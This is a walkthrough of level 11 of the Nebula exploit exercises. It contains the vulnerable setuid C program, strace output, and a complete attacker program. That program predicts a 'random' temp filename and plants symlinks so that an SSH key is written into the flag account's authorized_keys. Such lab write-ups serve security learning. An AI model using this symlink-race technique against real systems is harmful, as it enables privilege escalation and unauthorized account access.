The last few days I solved the first levels of Nebula. Nebula is an exploit exercise which consists of twenty levels. The level zero to eight where no real trouble. The level09 drove me crazy. I never wrote serious php code so I was not able to solve the string injection without cheating. For [level10] I gave up a bit too early as-well, after the first hint about TOCTOU (time-of-use to time-of-check) made me solve this with two simple bash scripts.
For the Level 11 flag cheating was no option for me. This walk through describes how I did solve this exercise. The description of this exercise states the following:
The /home/flag11/flag11 binary processes standard input and executes a shell command. There are two ways of completing this level, you may wish to do both :-) To do this level, log in as the level11 account with the password level11. Files for this level can be found in /home/flag11.
Okay business as usual the needed files are located under /home/flag11
let's take a look
level11@nebula:~$ ls ../flag11/ -all
total 21
drwxr-x--- 1 flag11 level11 100 2016-12-20 15:11 .
drwxr-xr-x 1 root root 140 2012-08-27 07:18 ..
-rw------- 1 flag11 flag11 14 2016-12-20 15:11 .bash_history
-rw-r--r-- 1 flag11 flag11 220 2011-05-18 02:54 .bash_logout
-rw-r--r-- 1 flag11 flag11 3353 2011-05-18 02:54 .bashrc
drwx------ 2 flag11 flag11 60 2016-12-20 15:08 .cache
-rwsr-x--- 1 flag11 level11 12135 2012-08-19 20:55 flag11
-rw-r--r-- 1 flag11 flag11 675 2011-05-18 02:54 .profile
drwxr-xr-x 1 flag11 flag11 60 2016-12-20 15:07 .ssh
This little .ssh
folder raises some kind of alarm signal in my brain. Maybe we need this later on. As you can see some of the files had been recently accessed. This was due to my attack.
The attached C code of the exercise is the following:#
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <fcntl.h>
#include <stdio.h>
#include <sys/mman.h>
/*
* Return a random, non predictable file, and return the file descriptor for it.
*/
int getrand(char **path)
{
char *tmp;
int pid;
int fd;
srandom(time(NULL));
tmp = getenv("TEMP");
pid = getpid();
asprintf(path, "%s/%d.%c%c%c%c%c%c", tmp, pid,
'A' + (random() % 26), '0' + (random() % 10),
'a' + (random() % 26), 'A' + (random() % 26),
'0' + (random() % 10), 'a' + (random() % 26));
fd = open(*path, O_CREAT|O_RDWR, 0600);
unlink(*path);
return fd;
}
void process(char *buffer, int length)
{
unsigned int key;
int i;
key = length & 0xff;
for(i = 0; i < length; i++) {
buffer[i] ^= key;
key -= buffer[i];
}
system(buffer);
}
#define CL "Content-Length: "
int main(int argc, char **argv)
{
char line[256];
char buf[1024];
char *mem;
int length;
int fd;
char *path;
if(fgets(line, sizeof(line), stdin) == NULL) {
errx(1, "reading from stdin");
}
if(strncmp(line, CL, strlen(CL)) != 0) {
errx(1, "invalid header");
}
length = atoi(line + strlen(CL));
if(length < sizeof(buf)) {
if(fread(buf, length, 1, stdin) != length) {
err(1, "fread length");
}
process(buf, length);
} else {
int blue = length;
int pink;
fd = getrand(&path);
while(blue > 0) {
printf("blue = %d, length = %d, ", blue, length);
pink = fread(buf, 1, sizeof(buf), stdin);
printf("pink = %d\n", pink);
if(pink <= 0) {
err(1, "fread fail(blue = %d, length = %d)", blue, length);
}
write(fd, buf, pink);
blue -= pink;
}
mem = mmap(NULL, length, PROT_READ|PROT_WRITE, MAP_PRIVATE, fd, 0);
if(mem == MAP_FAILED) {
err(1, "mmap");
}
process(mem, length);
}
}
After analyzing this code Return a random, non predictable file, and return the file descriptor for it.
. When someone states non predictable I try to predict. This needs to be deferred a bit because the rest of the code needs inspections. Just some remarks, on old Linux systems pid of an process is pretty predictable. Of course srandom()
seeded with time is predictable too.
Okay, there is some XOR encryption scheme used to decipher the buffer in process
and this deciphered buffer is handed to system. Okay we need to inject some attacking calls here. From the inspection of the files we knew this is yet another setuid
bit challenge, okay this is getting lame I thought. Frankly I was a bit too optimistic.
In the main function the processing buffer is filled from stdin
and checked against some hard coded prefix nothing magic here.
#define CL "Content-Length: "
int main(int argc, char **argv)
{
// ...
if(fgets(line, sizeof(line), stdin) == NULL) {
errx(1, "reading from stdin");
}
if(strncmp(line, CL, strlen(CL)) != 0) {
errx(1, "invalid header");
}
length = atoi(line + strlen(CL));
if(length < sizeof(buf)) {
if(fread(buf, length, 1, stdin) != length) {
err(1, "fread length");
}
process(buf, length);
} else {
//...
}
The err
functions will exit the executable when they are hit. To bypass the following check if(fread(buf, length, 1, stdin) != length) {
, the length passed to this executable needs to be one. In this case the injected code is very limited. Tests with overflowing atoi and negative numbers always failed. Because fread
returns the number of items read and not the number of bytes, in this case it always returns one. Form the other exercises we knew we can pretend the PATH
variable with a path we have under control. So just we just need to inject a single character into the magic process()
function. The reverse of the XOR is pretty straight forward. You may need some tries to execute your command, this is because the whole buffer is passed to system
. The buffer is located on the stack of main and because of this it is filled with garbage. But the chances that we hit a zero in the second character is not too bad. I already felt my success but then I got this:
getflag is executing on a non-flag account, this doesn't count
This time it was not me cheating, but the authors of Nebula the provided source code did not mention that they removed the setuid
bit before the call to system. This was exposed by the strace
command.
getgid32() = 1012
setgid32(1012) = 0
getuid32() = 1012
setuid32(1012) = 0
rt_sigaction(SIGINT, {SIG_IGN, [], 0}, {SIG_DFL, [], 0}, 8) = 0
rt_sigaction(SIGQUIT, {SIG_IGN, [], 0}, {SIG_DFL, [], 0}, 8) = 0
rt_sigprocmask(SIG_BLOCK, [CHLD], [], 8) = 0
clone(child_stack=0, flags=CLONE_PARENT_SETTID|SIGCHLD, parent_tidptr=0xbfa443a8) = 6180
Okay, this looks like a dead end. Back to the drawing board, the SSH idea popped up again. But how can we use the .ssh
folder. This is pretty easy we have to inject a authorized_keys
file there. But how can this be achieved without setuid
?
} else {
int blue = length;
int pink;
fd = getrand(&path);
while(blue > 0) {
printf("blue = %d, length = %d, ", blue, length);
pink = fread(buf, 1, sizeof(buf), stdin);
printf("pink = %d\n", pink);
if(pink <= 0) {
err(1, "fread fail(blue = %d, length = %d)", blue, length);
}
write(fd, buf, pink);
blue -= pink;
}
mem = mmap(NULL, length, PROT_READ|PROT_WRITE, MAP_PRIVATE, fd, 0);
if(mem == MAP_FAILED) {
err(1, "mmap");
}
process(mem, length);
}
So far I completely ignored the else case of the buffer
length check. This is where the super top secret temp file name comes into the game. To get control over the file we have to define the environment variable from the shell we run the attack later on:
export TEMP=/tmp
Now it is just a matter of guessing the PID of our victim. This is easy, when we pipe the stdout to the stdin of the victim the chances are high it is just plus one of our own. Otherwise popen()
could be used and injecting pid from ps | grep flag11
. The time part is super easy because it is the time in seconds. To get a stable successrate we also use the filename for the next second. The whole attacker code lookks like this:
int getrand(char **path, int pid, int time)
{
char *tmp;
int fd = 0;
srandom(time);
tmp = getenv("TEMP");
asprintf(path, "%s/%d.%c%c%c%c%c%c", tmp, pid,
'A' + (random() % 26), '0' + (random() % 10),
'a' + (random() % 26), 'A' + (random() % 26),
'0' + (random() % 10), 'a' + (random() % 26));
return fd;
}
#define CL "Content-Length: "
int main(int argc, char **argv)
{
char line[256];
char buf[2048] = "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCyS3QqEqbQHTk30QVRpzPVlKjM0px2iMhFfKFP0AmV8vOzCxVLJrYQv0CKPzQDdnszm/H+HrUjBS+c2RY0QB7IPJ8++tuqNEfewoYHJ80NI+7e9mn0HxlN9NCvI6TGX0+1s0VigwtKmq29pP7jHgualoowGrllnk42QI1nvUern6WZUu/Ry+lGyjyYbgd6BSOQpuvnxpxsFDWuk7AsUwrHJijPstS+lsrFZaMEYGqlxHv2hPjCFoADlrTCgusmrwLWsh/ljPfpgzRs2Ts/KF901xpCoHdzzwpckLuoA8+bYznifBp+StDEMkT5gZDygDUTfz5xhYr+KEx1ijHMHvix level11@nebula";
int pid;
int fd;
char *path;
FILE* stream;
pid = getpid()+1;
getrand(&path, pid, time(NULL));
symlink("/home/flag11/.ssh/authorized_keys",path);
getrand(&path, pid, time(NULL)+1);
symlink("/home/flag11/.ssh/authorized_keys",path);
fprintf(stdout, "%s%d\n%s",CL,sizeof(buf),buf);
}
The ssh key needs to be generated first. It took me some tries to fullfill those strange checks with the colors. Maybe one needs to check the format of the time()
function to not run into overflow issues. At the moment it is not clear to me why it is not neccessary to crypt the buffer. Maybe some speciality of the mmap function. Anyway with the ssh key injected you can log into flag11 account and get your flag.
level11@nebula:~$ ./pwn11 | ../flag11/flag11
blue = 2048, length = 2048, pink = 395
blue = 1653, length = 2048, pink = 0
flag11: fread fail(blue = 1653, length = 2048): Operation not permitted
level11@nebula:~$ ssh flag11@localhost
_ __ __ __
/ | / /__ / /_ __ __/ /___ _
/ |/ / _ \/ __ \/ / / / / __ `/
/ /| / __/ /_/ / /_/ / / /_/ /
/_/ |_/\___/_.___/\__,_/_/\__,_/
exploit-exercises.com/nebula
For level descriptions, please see the above URL.
To log in, use the username of "levelXX" and password "levelXX", where
XX is the level number.
Currently there are 20 levels (00 - 19).
Welcome to Ubuntu 11.10 (GNU/Linux 3.0.0-12-generic i686)
* Documentation: https://help.ubuntu.com/
New release '12.04 LTS' available.
Run 'do-release-upgrade' to upgrade to it.
flag11@nebula:~$ getflag
You have successfully executed getflag on a target account
flag11@nebula:~$
Really cool trick with the links!
I think this's the only write-up that really solves this level.